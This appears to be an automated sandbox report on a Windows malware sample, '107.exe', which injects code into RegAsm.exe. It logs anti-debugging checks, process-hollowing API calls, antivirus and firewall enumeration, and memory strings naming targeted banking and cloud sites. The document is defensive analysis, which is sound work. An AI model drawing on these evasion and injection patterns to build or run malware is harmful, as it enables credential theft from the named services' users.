Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 33966	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 34686	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 42936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 52114	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59230	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 59062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 39120	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 50964	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 44683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 55819	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 39392	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 53059	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 49454	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 50861	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 49491	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 36765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 33263	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 58856	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 34904	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 54936	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 33115	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 45458	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 51486	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 42085	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 47669	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 35326	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 35956	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 33699	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 42091	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 34551	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 39042	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 42012	Jump to behavior

Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RegAsm.exe, 00000001.00000002.4488678862.0000000000F3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RegAsm.exe, 00000001.00000002.4489424197.0000000002CF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_0045ED20 GetFileAttributesW,CreateFileW,NtSystemDebugControl,CloseHandle,GetLastError,DeleteFileW,GetCurrentProcess,CheckRemoteDebuggerPresent,GetModuleHandleW,GetProcAddress,VirtualProtect,VirtualProtect,GetCurrentProcess,FlushInstructionCache,

0_2_0045ED20

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00459B90 rdtsc

0_2_00459B90

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_005A3B93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005A3B93

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_045A7DE6 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_045A7DE6

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00403010 OpenProcess,K32GetProcessImageFileNameW,CloseHandle,DebugActiveProcess,DebugSetProcessKillOnExit,WaitForDebugEvent,SetEvent,CreateFileW,GetLastError,DeviceIoControl,GetLastError,CloseHandle,EnterCriticalSection,LeaveCriticalSection,EnterCriticalSection,LeaveCriticalSection,OpenProcess,DebugBreakProcess,CloseHandle,ContinueDebugEvent,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,CloseHandle,OpenThread,SetThreadToken,CloseHandle,OpenProcess,ReadProcessMemory,CloseHandle,OpenThread,GetThreadContext,DebugSetProcessKillOnExit,GetThreadContext,GetSystemTimeAsFileTime,GetFileAttributesExW,CloseHandle,CreateFileW,GetLastError,DebugActiveProcessStop,DeviceIoControl,GetLastError,CloseHandle,DebugActiveProcessStop,GetLastError,GetLastError,

0_2_00403010

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_004613E0 InitializeCriticalSection,UuidCreate,GetSystemDirectoryW,LoadLibraryW,GetProcAddress,GetLastError,GetLastError,SetEvent,

0_2_004613E0

Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_005B541A mov eax, dword ptr fs:[00000030h]		0_2_005B541A
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_005B1572 mov ecx, dword ptr fs:[00000030h]		0_2_005B1572

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_045A3860 GetProcessHeap,

0_2_045A3860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_00598B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00598B9C
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_005A3B93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005A3B93
Source: C:\Users\user\Desktop\107.exe	Code function: 0_2_045A4390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_045A4390

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\107.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_045A1000 _memset,GetCommandLineW,CreateProcessW,GetLastError,_wprintf,VirtualAlloc,GetLastError,_wprintf,_memmove,_memset,Wow64GetThreadContext,GetLastError,_wprintf,ReadProcessMemory,GetLastError,_wprintf,GetModuleHandleA,GetProcAddress,GetLastError,_wprintf,VirtualAllocEx,VirtualAllocEx,GetLastError,VirtualAllocEx,GetLastError,_wprintf,WriteProcessMemory,WriteProcessMemory,_wprintf,WriteProcessMemory,Wow64SetThreadContext,GetLastError,_wprintf,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,ResumeThread,GetLastError,_wprintf,GetLastError,_wprintf,GetLastError,_wprintf,

0_2_045A1000

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\107.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\107.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A92008	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4C2000	Jump to behavior
Source: C:\Users\user\Desktop\107.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 4C4000	Jump to behavior

Source: C:\Users\user\Desktop\107.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Users\user\Desktop\107.exe"

Jump to behavior

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_045A63F2 cpuid

0_2_045A63F2

Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,	0_2_005B50C4
Source: C:\Users\user\Desktop\107.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_005BB65F
Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,	0_2_005BB860
Source: C:\Users\user\Desktop\107.exe	Code function: EnumSystemLocalesW,	0_2_005BB952
Source: C:\Users\user\Desktop\107.exe	Code function: EnumSystemLocalesW,	0_2_005BB907
Source: C:\Users\user\Desktop\107.exe	Code function: EnumSystemLocalesW,	0_2_005BB9ED
Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_005BBA80
Source: C:\Users\user\Desktop\107.exe	Code function: EnumSystemLocalesW,	0_2_005B4B7D
Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,	0_2_005BBCE0
Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_005BBE09
Source: C:\Users\user\Desktop\107.exe	Code function: GetLocaleInfoW,	0_2_005BBF0F
Source: C:\Users\user\Desktop\107.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_005BBFDE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\107.exe

Code function: 0_2_00582290 QueryUnbiasedInterruptTime,GetSystemTimes,

0_2_00582290

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000001.00000002.4488678862.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4494113492.0000000006B4F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.4488678862.0000000000F3D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
